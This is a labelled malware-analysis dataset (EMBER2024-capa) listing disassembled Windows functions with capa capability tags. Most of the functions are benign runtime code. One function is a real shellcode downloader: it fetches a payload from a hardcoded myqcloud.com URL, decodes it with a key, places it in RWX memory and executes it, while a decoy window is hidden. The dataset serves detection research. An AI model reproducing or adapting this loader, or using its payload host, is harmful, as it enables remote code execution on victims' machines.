joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18011ea60
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov r8, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
lea rcx, [rsp + 0x38]
call fcn.18011bc80
mov r8, qword [rsp + 0x108]
mov rdx, qword [rsp + 0x110]
lea rcx, [rsp + 0x40]
call fcn.18011bc80
vmovss xmm0, dword [rsp + 0x3c]
vucomiss xmm0, dword [0x180162c44]
je 0x18011ead2
vmovss xmm0, dword [rsp + 0x44]
vdivss xmm0, xmm0, dword [rsp + 0x3c]
vmovss dword [rsp + 0x30], xmm0
jmp 0x18011eadc
vxorps xmm0, xmm0, xmm0
vmovss dword [rsp + 0x30], xmm0
vmovss xmm0, dword [rsp + 0x38]
vucomiss xmm0, dword [0x180162c44]
je 0x18011eb00
vmovss xmm0, dword [rsp + 0x40]
vdivss xmm0, xmm0, dword [rsp + 0x38]
vmovss dword [rsp + 0x34], xmm0
jmp 0x18011eb0a
vxorps xmm0, xmm0, xmm0
vmovss dword [rsp + 0x34], xmm0
vmovss xmm2, dword [rsp + 0x30]
vmovss xmm1, dword [rsp + 0x34]
lea rcx, [rsp + 0x58]
call fcn.180017d90
movsxd rax, dword [rsp + 0xe8]
imul rax, rax, 0x14
mov rcx, qword [rsp + 0xe0]
add rax, qword [rcx + 0x28]
mov qword [rsp + 0x48], rax
movsxd rax, dword [rsp + 0xf0]
imul rax, rax, 0x14
mov rcx, qword [rsp + 0xe0]
add rax, qword [rcx + 0x28]
mov qword [rsp + 0x50], rax
movzx eax, byte [rsp + 0x118]
test eax, eax
je 0x18011ec6f
mov r8, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x70]
call fcn.18011be80
mov r8, qword [rsp + 0x110]
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x60]
call fcn.18011bf30
nop
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
jmp 0x18011ebb9
mov rax, qword [rsp + 0x20]
add rax, 0x14
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x20], rax
jae 0x18011ec6a
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x20]
vmovss xmm2, dword [rax + 4]
mov rax, qword [rsp + 0x20]
vmovss xmm1, dword [rax]
lea rcx, [rsp + 0x80]
call fcn.180017d90
mov r8, qword [rsp + 0xf8]
mov rdx, rax
lea rcx, [rsp + 0x88]
call fcn.18011bc80
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.18011c380
mov r8, rax
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0x98]
call fcn.18011bc20
mov qword [rsp + 0x78], rax
mov r9, qword [rsp + 0x68]
lea r8, [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0xa0]
call fcn.18011bfe0
mov rax, qword [rax]
mov rcx, qword [rsp + 0x20]
mov qword [rcx + 8], rax
jmp 0x18011ebab
jmp 0x18011ed0b
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
jmp 0x18011ec89
mov rax, qword [rsp + 0x28]
add rax, 0x14
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x28], rax
jae 0x18011ed0b
mov rax, qword [rsp + 0x28]
vmovss xmm2, dword [rax + 4]
mov rax, qword [rsp + 0x28]
vmovss xmm1, dword [rax]
lea rcx, [rsp + 0xa8]
call fcn.180017d90
mov r8, qword [rsp + 0xf8]
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.18011bc80
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rsp + 0xb8]
call fcn.18011c380
mov r8, rax
mov rdx, qword [rsp + 0x108]
lea rcx, [rsp + 0xc0]
call fcn.18011bc20
mov rax, qword [rax]
mov rcx, qword [rsp + 0x28]
mov qword [rcx + 8], rax
jmp 0x18011ec7b
add rsp, 0xd8
ret
Function at 0x1801542ec
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x180154326
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x18015432b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x180154374
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x18016c530]
cmp byte [rcx + rax], 0
je 0x180154374
dec r8
sub rdx, 1
jne 0x18015435a
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14000c80c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x14002b098]
test rax, rax
je 0x14000c856
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000c856
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000c856
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000c856
cmp dword [rcx + 0x84], 0xe
jbe 0x14000c856
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000c858
xor al, al
add rsp, 0x28
ret

Function at 0x14001a1fc
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140019ff8
Function at 0x141b4c058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141b4c1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141b4c089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b4c06f
add dl, dl
jne 0x141b4c096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b4c0f6
xor eax, eax
add dl, dl
jne 0x141b4c0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b4c1ad
add dl, dl
jne 0x141b4c0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b4c0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b4c0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b4c0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141b4c0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141b4c07e
mov eax, 1
add dl, dl
jne 0x141b4c106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b4c113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b4c0fb
sub eax, ebx
mov ebx, 1
jne 0x141b4c14c
mov ecx, 1
add dl, dl
jne 0x141b4c12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b4c13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b4c123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b4c07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141b4c168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b4c175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b4c15d
cmp eax, 0x7d00
jae 0x141b4c19b
cmp eax, 0x500
jb 0x141b4c196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b4c07e
cmp eax, 0x7f
ja 0x141b4c19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b4c07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141b4c1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141b4c07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140022550
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x10090
call fcn.1400270d0
sub rsp, rax
mov rax, qword [0x140065340]
xor rax, rsp
mov qword [rsp + 0x10080], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x80], bp
mov edi, 0x28
mov word [rsp + 0x30], bp
test al, al
je 0x140022612
nop dword [rax]
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140035fb4
cmp rax, 1
jne 0x14002266e
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x1400225ef
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x1400225e3
cmp rcx, 1
jb 0x14002266e
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400225b0
mov r8d, 0x10000
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0xffff
ja 0x140022643
lea rcx, [rsp + 0x80]
call fcn.140038be8
jmp 0x140022645
xor eax, eax
mov rcx, qword [rsp + 0x10080]
xor rcx, rsp
call fcn.140026e00
lea r11, [rsp + 0x10090]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14002a590
int3
Function at 0x1400235a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
cmp byte [0x140066f8e], 0
mov rsi, r8
mov rdi, rdx
mov rbp, rcx
jne 0x140023625
mov edx, 3
xor ecx, ecx
mov r8d, 0xa
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [0x140066f58], rax
xor ecx, ecx
mov ebx, dword [rax]
lea rdx, [rax + 4]
mov qword [0x140066f58], rdx
mov r8d, dword [rdx]
add rdx, 4
mov qword [0x140066f58], rdx
call fcn.1400212c0
cmp eax, ebx
jne 0x14002378d
mov byte [0x140066f8e], 1
lea rdx, [0x140047498]
mov rcx, rsi
call fcn.140037a60
test eax, eax
je 0x1400236b0
cmp byte [0x140066f8d], 1
je 0x1400236b0
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140067ce8], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140067cf0], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140067cf8], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140067d00], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140067d08], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140067d10], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140067d18], rax
call qword [sym.imp.python312.dll_PyDict_New]
mov qword [0x140067d20], rax
mov byte [0x140066f8d], 1
mov r8, qword [0x140066f58]
mov rax, rsi
mov rdx, r8
sub rdx, rsi
movzx ecx, byte [rax]
xor r9d, r9d
cmp cl, byte [rax + rdx]
jne 0x1400236d7
inc rax
test cl, cl
jne 0x1400236c0
mov ecx, r9d
jmp 0x1400236dc
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
cmp byte [r8 + rax + 1], r9b
lea rax, [rax + 1]
jne 0x1400236e3
lea rdx, [r8 + rax]
mov eax, dword [r8 + rax + 1]
add rdx, 5
test ecx, ecx
je 0x140023748
nop
add rdx, rax
mov rax, rsi
mov r8, rdx
sub r8, rsi
nop dword [rax]
movzx ecx, byte [rax]
cmp cl, byte [rax + r8]
jne 0x140023725
inc rax
test cl, cl
jne 0x140023710
mov ecx, r9d
jmp 0x14002372a
sbb ecx, ecx
or ecx, 1
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rdx + rax], r9b
jne 0x140023731
add rdx, rax
mov eax, dword [rdx + 1]
add rdx, 5
test ecx, ecx
jne 0x140023700
movzx ecx, word [rdx]
lea rax, [rdx + 2]
cmp r9w, cx
jae 0x140023778
mov ebx, ecx
nop word [rax + rax]
mov r8, rax
mov rdx, rdi
mov rcx, rbp
call fcn.14001f940
add rdi, 8
sub rbx, 1
jne 0x140023760
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
lea rcx, str.Error__corrupted_constants_object
call fcn.1400327f4
call fcn.14002a590
int3
Function at 0x140026990
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x90
mov rax, qword [0x140065340]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor r14d, r14d
mov rbp, rdx
mov word [rsp + 0x30], r14w
mov rsi, rcx
mov edi, 0x28
test al, al
je 0x140026a41
nop word [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], r14b
lea rcx, [rsp + 0x24]
call fcn.140035fb4
cmp rax, 1
jne 0x140026a77
mov rcx, rdi
mov rax, rbx
cmp word [rbx], r14w
je 0x140026a1d
add rax, 2
dec rcx
cmp word [rax], r14w
jne 0x140026a10
cmp rcx, 1
jb 0x140026a77
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], r14w
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x1400269e0
mov rdx, rbp
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140026e00
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.14002a590
int3

Function at 0x140026c80
Capabilities:
Set environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x140065340]
xor rax, rsp
mov qword [rsp + 0x80], rax
movzx eax, byte [rcx]
lea rbx, [rsp + 0x30]
xor ebp, ebp
mov rsi, rcx
mov word [rsp + 0x30], bp
mov edi, 0x28
test al, al
je 0x140026d2f
nop dword [rax]
nop dword [rax + rax]
mov r8d, 2
mov byte [rsp + 0x20], al
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x21], bpl
lea rcx, [rsp + 0x24]
call fcn.140035fb4
cmp rax, 1
jne 0x140026d65
mov rcx, rdi
mov rax, rbx
cmp word [rbx], bp
je 0x140026d0c
nop
add rax, 2
dec rcx
cmp word [rax], bp
jne 0x140026d00
cmp rcx, 1
jb 0x140026d65
movzx ecx, word [rsp + 0x24]
inc rsi
mov word [rax], cx
add rbx, 2
mov word [rax + 2], bp
dec rdi
movzx eax, byte [rsi]
test al, al
jne 0x140026cd0
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140026e00
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
call fcn.14002a590
int3

Function at 0x140027834
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002787e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002787e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002787e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002787e
cmp dword [rcx + 0x84], 0xe
jbe 0x14002787e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140027880
xor al, al
add rsp, 0x28
ret
Function at 0x14002bc04
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002bc73
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002bc73
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002bc73
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002bc73
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002bc73
cmp dword [rcx + 0x84], 0xe
jbe 0x14002bc73
cmp dword [rcx + 0xf8], 0
je 0x14002bc73
mov ecx, ebx
call fcn.14002bd24
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14002bb00
nop
cmp dword [rbp + 0x20], 0
je 0x14002bcc1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002bccc
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002bc04

Function at 0x14002be08
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14002bc73
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002bc73
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002bc73
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002bc73
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002bc73
cmp dword [rcx + 0x84], 0xe
jbe 0x14002bc73
cmp dword [rcx + 0xf8], 0
je 0x14002bc73
mov ecx, ebx
call fcn.14002bd24
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14002bb00
nop
cmp dword [rbp + 0x20], 0
je 0x14002bcc1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14002bccc
int3
xor r8d, r8d
xor edx, edx
jmp 0x14002bc04
Function at 0x14003db40
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14003dbc7
mov rsi, rbx
cmp word [rax], bp
je 0x14003db86
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14003db70
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14003db6c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400390c0
mov rdi, rax
test rax, rax
je 0x14003dbb4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140043ec0
mov rbp, rdi
xor ecx, ecx
call fcn.140039c08
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400402cc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400402e2
mov al, 1
jmp 0x140040342
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400402f3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140040340
mov ecx, dword [rcx + 0x18]
nop
call fcn.14003e2e4
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140040340
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140040340
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140040340
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140040342
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140043ca0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140043cc8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140043cc8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400010d0
Capabilities:
Allocate or change rwx memory
Check if file exists
Execute shellcode via indirect call
Get file attributes
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0xd8
mov rax, qword [0x1400070c8]
xor rax, rsp
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x70]
lea rcx, str.https:__wwwasfsafqweqweqw197_1328290122.cos.ap_shanghai.myqcloud.com_197.txt
mov rdi, rax
mov rsi, rcx
mov ecx, 0x4d
rep movsb byte [rdi], byte [rsi]
cmp dword [0x1400070f4], 2
jle 0x1400012f7
lea rcx, str.urlmon.dll
call qword [0x140005390]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x140001136
mov eax, 1
jmp 0x1400012fc
lea rdx, str.URLDownloadToFileA
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14000116a
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1400012fc
lea rcx, str.5.txt
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400011ba
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.5.txt
lea rdx, [rsp + 0x70]
xor ecx, ecx
call qword [rsp + 0x58]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jge 0x1400011ba
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1400012fc
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140005cc0]
lea rcx, str.5.txt
call qword [sym.imp.msvcrt.dll_fopen]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x1400011fb
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1400012fc
mov r8d, 2
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.msvcrt.dll_fseek]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.msvcrt.dll_ftell]
cdqe
mov qword [rsp + 0x40], rax
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.msvcrt.dll_fseek]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.msvcrt.dll_malloc]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001268
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.msvcrt.dll_fclose]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
jmp 0x1400012fc
mov r9, qword [rsp + 0x30]
mov r8, qword [rsp + 0x40]
mov edx, 1
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.msvcrt.dll_fread]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.msvcrt.dll_fclose]
lea r8, str.XDCY1XD
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call section..text
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, qword [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
rep movsb byte [rdi], byte [rsi]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.msvcrt.dll_free]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 1
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400028c0
add rsp, 0xd8
pop rdi
pop rsi
ret
Function at 0x140001320
Capabilities:
Hide graphical window

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x108
mov rax, qword [0x1400070c8]
xor rax, rsp
mov qword [rsp + 0xf0], rax
mov dword [rsp + 0x70], 3
lea rax, [0x140001500]
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x80], 0
mov dword [rsp + 0x84], 0
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x88], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rsp + 0x90], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rsp + 0x98], rax
xor ecx, ecx
call qword [sym.imp.GDI32.dll_GetStockObject]
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], 0
lea rax, str.TrafficLight
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x70]
call qword [sym.imp.USER32.dll_RegisterClassW]
movzx eax, ax
test eax, eax
jne 0x140001411
mov r9d, 0x10
lea r8, str.TrafficLight
lea rdx, str.This_program_requires_Windows_NT_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
jmp 0x1400014e3
mov qword [rsp + 0x58], 0
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0x1f4
mov dword [rsp + 0x30], 0x12c
mov dword [rsp + 0x28], 0x80000000
mov dword [rsp + 0x20], 0x80000000
mov r9d, 0xcf0000
lea r8, str.Traffic_Light_Simulator
lea rdx, str.TrafficLight
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [rsp + 0x60], rax
mov edx, dword [rsp + 0x128]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.USER32.dll_UpdateWindow]
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0xc0]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x1400014dc
lea rcx, [rsp + 0xc0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xc0]
